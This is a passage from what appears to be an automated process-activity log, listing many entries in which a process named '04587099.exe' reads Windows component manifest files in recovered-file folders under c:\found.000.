"c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kok-in_93a99d11052af419.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ku-..-iq_cebf3ceb22ae5560.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ky-kg_e0b9b35c0b51ee11.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lb-lu_8b05f354f92ae1a6.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lo-la_819ad4c0ff47f257.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lt-lt_89d1cd8efa05d411.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_8a9f3c12f9841501.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mi-nz_300ffe3fea880c5b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mk-mk_2953897deedee6b3.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ml-in_2a9daa3bee0ba9b5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mn-mn_2a87af43ee1c481b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mr-in_2a5ccab3ee3c515b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ms-my_2f326ea1eb22059d.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mt-mt_2ceffacfec970aeb.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_ce9922c2e0033430.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ne-np_ceea3a2cdfd28c8a.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_ccd86e00e12f3e05.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nn-no_ce1763b2e064837c.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nso-za_3aca472e4f581416.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_or-in_709952c5d35e8bcd.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-..-pk_b1b1e27d4c5abdba.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-in_146f657ac565ce05.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_1314c882c651abb9.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_prs-af_4853b85a1dcfee1b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_1568b326c4db3f9d.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_164a8292c44aaf79.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quc..-gt_34ac70ca714a821d.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quz-pe_7a6b38e365db859a.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_5a8548caaab17ad5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_5ced9456a92c3da5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_rw-rw_5dbb02daa8aa7e95.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sd-..-pk_f2a3256d742deb22.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_si-lk_fc1ed8539e354486.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_fc0899039e462fcf.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sl-si_fb1ababb9ee042b2.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sq-al_fc3adab99e2c0eaa.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-ba_582e7a09b2cab0f6.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_5e844e51aeccf058.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_a14b230013f1e9e3.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_f8e87ecba0554800.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sw-ke_f8de651fa05c96e9.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ta-in_a0e8759e8faa42e9.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_te-in_a0bd35ee8fcab2ad.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tg-..-tj_b036c96ecf21f919.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_th-th_9df2a07e919a0541.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ti-et_a33b7c728e34d717.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tk-tm_a009d4a090456fb7.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tn-za_9a96860493ca26fc.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_a1f5c9128f1149f1.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tt-ru_a334ec548e465c26.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ug-cn_43c662cf826b6e02.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uk-ua_3dd5abb98642703d.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ur-pk_41f9b5f983a0e0f5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uz-..-uz_8590b223a3e7b8a5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_vi-vn_e6cd5628750eaa10.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_wo-sn_89aaff0167d0220c.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_xh-za_275075b05dddf43a.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_yo-ng_cccd46b94ef0bca8.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_7352e7103f491c10.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_774f24663cb9f880.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zu-za_6d006ec6436999e9.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres_31bf3856ad364e35_10.0.17134.1_none_6bfe5b383511e7fd.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncutil_31bf3856ad364e35_10.0.17134.1_none_b65c66ca40b67cc1.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\$filehashes$.dat" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_dual_input.inf_31bf3856ad364e35_10.0.17134.1_none_0e49b2d953183e02.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_dual_mausbhost.inf_31bf3856ad364e35_10.0.17134.1_none_9f648b79c0f9f1c2.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_dual_remoteposdrv.inf_31bf3856ad364e35_10.0.17134.1_none_b779d2c5bc589c4c.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_dual_ufxchipidea.inf_31bf3856ad364e35_10.0.17134.1_none_f5c834ebc9ce7654.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_hyperv-storage-vhd-vhdmp_31bf3856ad364e35_10.0.17134.1_none_a1299a9bbf5c92d8.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-client-li..platform-pkeyhelper_31bf3856ad364e35_10.0.17134.1_none_80fc199340598eb9.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-onecore-c..ess-policy-location_31bf3856ad364e35_10.0.17134.1_none_4e03be01da60372d.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-onecore-m..imedia-broadcastdvr_31bf3856ad364e35_10.0.17134.1_none_74f31bcd14bf0f8d.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-onecore-n..anager-capabilities_31bf3856ad364e35_10.0.17134.1_none_59895a4a261eccdb.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-a..ence-mitigations-c4_31bf3856ad364e35_10.0.17134.1_none_f1a5c55f5b741dbc.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-a..packagedcwalauncher_31bf3856ad364e35_10.0.17134.1_none_c8ba5d8766b6100f.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-aero_31bf3856ad364e35_10.0.17134.1_none_91639de28293fc33.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-applicationmodel-voip_31bf3856ad364e35_10.0.17134.1_none_b4bbddcf5788cc9a.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-atlthunk_31bf3856ad364e35_10.0.17134.1_none_736718a63a4836c7.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_es-es_9c35409bf45d6de4.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_3b504548e977600e.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_865d36e2cb8f5362.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_it-it_2914ace1be6169c4.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_6ea408a3a3ed42b5.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_nb-no_573689d87c126e71.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_5575d5167d3e7846.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_e58afb6c453b77e6.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_210235d86b1cf7fb.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_de-de_bb67ab3b63394894.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_el-gr_63fdd8ce524eb122.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_en-gb_5ccfc61656eea094.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_en-us_6458813452175459.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_es-es_6423de18523e45fe.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_es-mx_665acbbe50d229a9.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_033ee2c547583828.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_ff519e6149e8c286.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_06db541745105c60.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_hr-hr_4d17ae992a32ca14.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_4e4bd45f29702b7c.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_it-it_f1034a5e1c4241de.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_9328c96b0f5d53b9.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_3692a62001ce1acf.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_db2b40a4f374275c.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1d647292db1f5060.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_63a0cd14c041be14.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_ad7998e8a31c5000.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_4c949d959836422a.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_sl-si_4ba6bf4d98d0550d.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_f281cda489015c4c.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-bcdboot-cmdlinetool_31bf3856ad364e35_10.0.17134.1_none_46d670eca74ecc78.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-bits-igdsearcher_31bf3856ad364e35_10.0.17134.1_none_96ecc960f82ab542.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-c..dtc-runtime-cluster_31bf3856ad364e35_10.0.17134.1_none_7c08db89f5dca7dd.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_02750be744201290.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_de-de_9cda814a3c3c6329.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_he-il_2c6dd1c8048277e3.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_2fbeaa6e02734611.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_it-it_d276206cf5455c73.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_749b9f79e8606e4e.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_18057c2edad13564.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_fed748a1b4226af5.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_4513a3239944d8a9.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_pt-br_47678dc797ce6c8d.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_48495d33973ddc69.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_8eec6ef77c1f6a95.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_59ea8e2c2a8b3287.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_da-dk_a22de4ee0e590ab1.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_de-de_9f597a2a102f5f4b.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_en-gb_40c1950503e4b74b.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_es-es_4815ad06ff345cb5.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_es-mx_4a4c9aacfdc84060.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_et-ee_41d57897033a3944.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_e730b1b3f44e4edf.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_e3436d4ff6ded93d.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_eacd2305f2067317.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_he-il_2eeccaa7d8757405.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_hr-hr_31097d87d728e0cb.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_323da34dd6664233.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_it-it_d4f5194cc9385895.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_771a9859bc536a70.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_bf1d0f93a06a3e13.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_nb-no_0316f64386e95d42.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_0156418188156717.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_47929c036d37d4cb.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_4ac856136b30d88b.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_8f031c4b5197a3e7.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_916b67d7501266b7.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_30866c84452c58e1.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_sl-si_2f988e3c45c66bc4.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_sv-se_2d66524c473b7112.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_a7d0ba90e62f4522.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_e216f89c0496163d.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_8d206f36f21df268.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_de-de_2785e499ea3a4301.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_el-gr_d01c122cd94fab8f.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_en-gb_c8edff74ddef9b01.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_es-es_d0421776d93f406b.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_es-mx_d279051cd7d32416.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_et-ee_ca01e306dd451cfa.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_6f5d1c23ce593295.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_6b6fd7bfd0e9bcf3.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_72f98d75cc1156cd.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_he-il_b7193517b28057bb.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_hr-hr_b935e7f7b133c481.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_ba6a0dbdb07125e9.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_ff4702c9965e4e26.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_a2b0df7e88cf153c.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_lt-lt_467c0b7f7af6e0d9.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_47497a037a7521c9.manifest" "04587099.exe" 